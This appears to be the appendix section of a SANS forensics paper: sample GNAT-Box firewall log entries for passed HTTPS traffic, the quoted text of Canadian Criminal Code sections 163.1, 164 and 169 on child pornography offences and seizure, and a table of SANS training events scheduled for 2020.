Jun 29 15:23:24 192.168.1.1 id=firewall time="2003-06-29 15:23:24" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35100 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:25 192.168.1.1 id=firewall time="2003-06-29 15:23:25" fw="GNAT-Box" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35101 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:25 192.168.1.1 id=firewall time="2003-06-29 15:23:25" fw="GNAT-Box" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35101 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:25 192.168.1.1 id=firewall time="2003-06-29 15:23:25" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35102 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:25 192.168.1.1 id=firewall time="2003-06-29 15:23:25" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35103 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:25 192.168.1.1 id=firewall time="2003-06-29 15:23:25" fw="GNAT-Box" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35103 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:26 192.168.1.1 id=firewall time="2003-06-29 15:23:26" fw="GNAT-Box" pri=6 msg="FILT ER: 150 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx type=mgmt
Jun 29 15:23:26 192.168.1.1 id=firewall time="2003-06-29 15:23:26" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35103 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:26 192.168.1.1 id=firewall time="2003-06-29 15:23:26" fw="GNAT-Box" pri=6 flt_type=...
Appendix G


163.1 (1) In this section, “child pornography” means

(a) a photographic, film, video or other visual representation, whether or not it was made by electronic or mechanical means,

(i) that shows a person who is or is depicted as being under the age of eighteen years and is engaged in or is depicted as engaged in explicit sexual activity, or

(ii) the dominant characteristic of which is the depiction, for a sexual purpose, of a sexual organ or the anal region of a person under the age of eighteen years; or

(b) any written material or visual representation that advocates or counsels sexual activity with a person under the age of eighteen years that would be an offence under this Act.

(2) Every person who makes, prints, publishes or possesses for the purpose of publication any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding ten years; or

(b) an offence punishable on summary conviction.

(3) Every person who transmits, makes available, distributes, sells, imports, exports or possesses for the purpose of transmission, making available, distribution, sale or exportation any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding ten years; or

(b) an offence punishable on summary conviction.

(4) Every person who possesses any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding five years; or

(b) an offence punishable on summary conviction.

(4.1) Every person who accesses any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding
five years; or

(b) an offence punishable on summary conviction.

**Interpretation**

(4.2) For the purposes of subsection (4.1), a person accesses child pornography who knowingly causes child pornography to be viewed by, or transmitted to, himself or herself.

**Defence**

(5) It is not a defence to a charge under subsection (2) in respect of a visual representation that the accused believed that a person shown in the representation that is alleged to constitute child pornography was or was depicted as being eighteen years of age or more unless the accused took all reasonable steps to ascertain the age of that person and took all reasonable steps to ensure that, where the person was eighteen years of age or more, the representation did not depict that person as being under the age of eighteen years.

**Defences**

(6) Where the accused is charged with an offence under subsection (2), (3), (4) or (4.1), the court shall find the accused not guilty if the representation or written material that is alleged to constitute child pornography has artistic merit or an educational, scientific or medical purpose.

**Other provisions to apply**

(7) Subsections 163(3) to (5) apply, with such modifications as the circumstances require, with respect to an offence under subsection (2), (3), (4) or (4.1).

1993, c. 46, s. 2; 2002, c. 13, s. 5.

**Warrant of seizure**

164. (1) A judge who is satisfied by information on oath that there are reasonable grounds for believing that

(a) any publication, copies of which are kept for sale or distribution in premises within the jurisdiction of the court, is obscene or a crime comic, within the meaning of section 163, or

(b) any representation or written material, copies of which are kept in premises within the jurisdiction of the court, is child pornography within the meaning of section 163.1,

may issue a warrant authorizing seizure of the copies.

(2) Within seven days of the issue of a warrant under subsection (1), the judge shall issue a summons to the occupier of the premises requiring him to appear before the court and show cause why the matter seized should not be forfeited to Her Majesty.

(3) The owner and the maker of the matter seized under subsection (1), and alleged to be obscene, a crime comic or child pornography, may appear and be represented in the proceedings in order to oppose the making of an order for the forfeiture of the matter.

(4) If the court is satisfied, on a balance of probabilities, that the publication, representation or written material referred to in subsection (1) is obscene, a crime comic or child pornography, it may make an order declaring the matter forfeited to Her Majesty in right of the province in which the proceedings take place, for disposal as the Attorney General may direct.
Disposal of matter

(5) If the court is not satisfied that the publication, representation or written material referred to in subsection (1) is obscene, a crime comic or child pornography, it shall order that the matter be restored to the person from whom it was seized forthwith after the time for final appeal has expired.

Appeal

(6) An appeal lies from an order made under subsection (4) or (5) by any person who appeared in the proceedings

(a) on any ground of appeal that involves a question of law alone,

(b) on any ground of appeal that involves a question of fact alone, or

(c) on any ground of appeal that involves a question of mixed law and fact,

as if it were an appeal against conviction or against a judgment or verdict of acquittal, as the case may be, on a question of law alone under Part XXI and sections 673 to 696 apply with such modifications as the circumstances require.

Consent

(7) Where an order has been made under this section by a judge in a province with respect to one or more copies of a publication, representation or written material, no proceedings shall be instituted or continued in that province under section 163 or 163.1 with respect to those or other copies of the same publication, representation or written material without the consent of the Attorney General.

Punishment

169. Every one who commits an offence under section 163, 165, 167 or 168 is guilty of

(a) an indictable offence and is liable to imprisonment for a term not exceeding two years; or

(b) an offence punishable on summary conviction.

R.S., 1985, c. C-46, s. 169; 1999, c. 5, s. 3.

Appendix H

References


# Upcoming SANS Forensics Training

<table>
<thead>
<tr>
<th>Event Name</th>
<th>Location</th>
<th>Dates</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>SANS Special Investigations 2020</td>
<td>United Arab Emirates</td>
<td>Aug 03, 2020 - Aug 08, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>South by Southeast Asia Online 2020</td>
<td>Singapore</td>
<td>Aug 03, 2020 - Aug 14, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>Aug 3 MT</td>
<td>CA</td>
<td>Aug 03, 2020 - Aug 08, 2020</td>
</tr>
<tr>
<td>FOR498 Australia Live Online 2020</td>
<td>Australia</td>
<td>Aug 10, 2020 - Aug 15, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Reboot - NOVA 2020 - Live Online</td>
<td>Arlington, VA</td>
<td>Aug 10, 2020 - Aug 15, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS FOR508 Sydney August 2020</td>
<td>Sydney, Australia</td>
<td>Aug 17, 2020 - Aug 22, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Summer Forensics Europe 2020</td>
<td>United Arab Emirates</td>
<td>Aug 17, 2020 - Aug 28, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>Aug 17 ET</td>
<td>DC</td>
<td>Aug 17, 2020 - Aug 22, 2020</td>
</tr>
<tr>
<td>Cyber Defence APAC Live Online 2020</td>
<td>Singapore</td>
<td>Aug 17, 2020 - Aug 22, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>Aug 24 MT</td>
<td>CA</td>
<td>Aug 24, 2020 - Aug 29, 2020</td>
</tr>
<tr>
<td>SANS Virginia Beach 2020</td>
<td>Virginia Beach, VA</td>
<td>Aug 30, 2020 - Sep 04, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Virginia Beach 2020 - Live Online</td>
<td>Virginia Beach, VA</td>
<td>Aug 30, 2020 - Sep 04, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Japan Bi-Lingual Live Online</td>
<td>Japan</td>
<td>Aug 31, 2020 - Sep 05, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS London September 2020</td>
<td>London, United Kingdom</td>
<td>Sep 07, 2020 - Sep 12, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Philippines 2020</td>
<td>Manila, Philippines</td>
<td>Sep 07, 2020 - Sep 19, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS London September 2020 - Live Online</td>
<td>London, United Kingdom</td>
<td>Sep 07, 2020 - Sep 12, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Baltimore Fall 2020 - Live Online</td>
<td>Baltimore, MD</td>
<td>Sep 08, 2020 - Sep 13, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Baltimore Fall 2020</td>
<td>Baltimore, MD</td>
<td>Sep 08, 2020 - Sep 13, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>Threat Hunting &amp; Incident Response Summit &amp; Training 2020</td>
<td>Virtual - US Eastern,</td>
<td>Sep 10, 2020 - Sep 19, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Munich September 2020 - Live Online</td>
<td>Munich, Germany</td>
<td>Sep 14, 2020 - Sep 19, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Munich September 2020</td>
<td>Munich, Germany</td>
<td>Sep 14, 2020 - Sep 19, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Network Security 2020 - Live Online</td>
<td>Las Vegas, NV</td>
<td>Sep 20, 2020 - Sep 25, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Australia Spring 2020 - Live Online</td>
<td>Australia</td>
<td>Sep 21, 2020 - Oct 03, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Australia Spring 2020</td>
<td>Australia</td>
<td>Sep 21, 2020 - Oct 03, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS San Antonio Fall 2020</td>
<td>San Antonio, TX</td>
<td>Sep 28, 2020 - Oct 03, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS San Antonio Fall 2020 - Live Online</td>
<td>San Antonio, TX</td>
<td>Sep 28, 2020 - Oct 03, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Northern VA - Reston Fall 2020</td>
<td>Reston, VA</td>
<td>Sep 28, 2020 - Oct 03, 2020</td>
<td>Live Event</td>
</tr>
</tbody>
</table>